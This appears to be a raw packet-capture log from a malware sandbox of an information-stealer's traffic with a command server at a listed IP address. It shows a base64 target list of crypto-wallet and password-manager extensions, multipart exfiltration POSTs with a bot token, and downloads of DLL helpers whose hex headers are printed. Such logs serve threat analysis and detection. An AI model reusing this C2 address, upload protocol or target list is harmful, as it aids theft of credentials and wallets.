Apr 26, 2024 09:41:01.603988886 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 26, 2024 09:41:01.604017973 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 26, 2024 09:41:01.604068041 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 26, 2024 09:41:01.604085922 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 26, 2024 09:41:01.604113102 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 26, 2024 09:41:01.640306950 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC Host: 185.172.128.111 Content-Length: 8043 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:01.640373945 CEST	8043	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 26, 2024 09:41:02.314656019 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:02.640788078 CEST	94	OUT	GET /8e6d9db21fb63946/sqlite3.dll HTTP/1.1 Host: 185.172.128.111 Cache-Control: no-cache
Apr 26, 2024 09:41:02.993244886 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:02 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 26, 2024 09:41:02.993274927 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
Apr 26, 2024 09:41:02.993294001 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 26, 2024 09:41:02.993310928 CEST	233	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU
Apr 26, 2024 09:41:02.993350029 CEST	1289	IN	Data Raw: 24 ff d2 c9 c3 31 c0 c3 55 85 c0 89 e5 74 10 8b 88 0c 01 00 00 85 c9 74 06 ff 41 24 89 51 0c 89 d0 5d c3 85 c0 74 4d 0f b6 08 80 b9 e0 a1 ec 61 00 89 ca 79 3f 55 80 f9 5b b1 5d 0f 44 d1 b9 01 00 00 00 89 e5 57 56 53 be 01 00 00 00 8a 1c 08 8d 7e Data Ascii: $1UttA$Q]tMay?U[]DWVS~8u:TuT0A\0AF[8^_]UVS149uuaa)uC[^]UEUu1t]]UWVMSU}u1K
Apr 26, 2024 09:41:05.373812914 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKFBFCGIEHIDGCFBFB Host: 185.172.128.111 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:05.910243034 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:06.010579109 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.172.128.111 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:06.486962080 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:06.513700962 CEST	561	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ Host: 185.172.128.111 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4f 44 52 6e 4f 47 56 79 5a 33 49 75 5a 6d 6c 73 5a 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file_name"ODRnOGVyZ3IuZmlsZQ==------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file"------IIDAAFBGDBKJJJKFIIIJ--
Apr 26, 2024 09:41:06.995486975 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:07.248187065 CEST	561	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGH Host: 185.172.128.111 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4f 44 52 6e 4f 47 56 79 5a 33 49 75 5a 6d 6c 73 5a 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="file_name"ODRnOGVyZ3IuZmlsZQ==------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="file"------DHJDAFIEHIEGDHIDGDGH--
Apr 26, 2024 09:41:07.630486012 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:07.877012968 CEST	94	OUT	GET /8e6d9db21fb63946/freebl3.dll HTTP/1.1 Host: 185.172.128.111 Cache-Control: no-cache
Apr 26, 2024 09:41:08.229480982 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:08 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 